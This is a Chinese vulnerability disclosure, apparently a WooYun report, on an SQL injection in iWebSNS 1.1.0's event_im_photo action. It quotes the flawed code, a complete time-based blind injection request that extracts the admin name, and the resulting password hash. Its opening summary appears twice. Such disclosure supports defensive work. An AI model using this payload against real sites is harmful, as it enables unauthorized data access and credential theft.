### 简要描述： Iwebsns最新版SQL注入第三枚 ### 详细说明： 在wooyun上看到雨牛提了5个iwebsns的漏洞了（ [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ），我来捡捡漏儿吧，已对比，不重复，下载Iwebsns最新的1.1.0来看看。 为了使审核的大大们容易确认是否有重复，我先把存在漏洞的文件和注入参数分别写在这里：/action/event/event_im_photo.action.php photo_id 下面看看漏洞是怎么产生的 /action/event/event_im_photo.action.php ``` <?php //引入语言包 $ea_langpackage=new event_actionlp; //变量取得 $photo_id = short_check(get_args('photo_id')); $information=short_check(get_argp('information_value')); $user_id=get_sess_userid(); //数据表定义区 $t_event_photo = $tablePreStr."event_photo"; $dbo = new dbex; //读写分离定义函数 dbtarget('w',$dbServs); //更改图片信息 $sql = "update $t_event_photo set photo_information='$information' where photo_id=$photo_id"; $dbo->exeUpdate($sql); echo filt_word($information); ?> ``` photo_id经过short_check，来看看short_check，/foundation/freq_filter.php ``` function short_check($str) { $MaxSlen=500;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str);...
### 简要描述： Iwebsns最新版SQL注入第三枚 ### 详细说明： 在wooyun上看到雨牛提了5个iwebsns的漏洞了（ [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ），我来捡捡漏儿吧，已对比，不重复，下载Iwebsns最新的1.1.0来看看。 为了使审核的大大们容易确认是否有重复，我先把存在漏洞的文件和注入参数分别写在这里：/action/event/event_im_photo.action.php photo_id 下面看看漏洞是怎么产生的 /action/event/event_im_photo.action.php ``` <?php //引入语言包 $ea_langpackage=new event_actionlp; //变量取得 $photo_id = short_check(get_args('photo_id')); $information=short_check(get_argp('information_value')); $user_id=get_sess_userid(); //数据表定义区 $t_event_photo = $tablePreStr."event_photo"; $dbo = new dbex; //读写分离定义函数 dbtarget('w',$dbServs); //更改图片信息 $sql = "update $t_event_photo set photo_information='$information' where photo_id=$photo_id"; $dbo->exeUpdate($sql); echo filt_word($information); ?> ``` photo_id经过short_check，来看看short_check，/foundation/freq_filter.php ``` function short_check($str) { $MaxSlen=500;//限制短输入项最多300个字符 if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开 { $str = addslashes($str); // 进行过滤 } $str = LenLimit($str,$MaxSlen); $str = str_replace(array("\'","\\","#"),"",$str); if($str!=''){ $str= htmlspecialchars($str); } return preg_replace("/ +/","",trim($str)); } ``` 先进行addslashes,再htmlspecialchars,但是这里是数字，上面编码无任何作用。 Iwebsns没有错误回显，这里用time-based blind进行注入测试。 Paload: ``` POST /do.php?act=event_im_photo HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.0.107/modules.php?app=user_info&is_finish=1 Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=xxxxxx@163.com; PHPSESSID=5j1qplgaimc7dgcqt3n109qgj1; IsReged=Y Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 142 photo_id=-1 or (select if(ord(mid((select admin_name from isns_admin where admin_id=1 limit 0,1),1,1))=0x7a,sleep(3),0))&information_value=abc ``` 猜测管理员用户名的第一个字母时，若错误，延迟2s左右，如下图 [<img src="https://images.seebug.org/upload/201412/092352068be9dda5b077e13604bcb5c2a3bb7ea1.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/092352068be9dda5b077e13604bcb5c2a3bb7ea1.jpg) 若正确，延迟5s左右，如下图 [<img src="https://images.seebug.org/upload/201412/092352305ddecfec4c09cbc428bc890ac30092c7.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/092352305ddecfec4c09cbc428bc890ac30092c7.jpg) 按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3 ### 漏洞证明： 见 详细说明
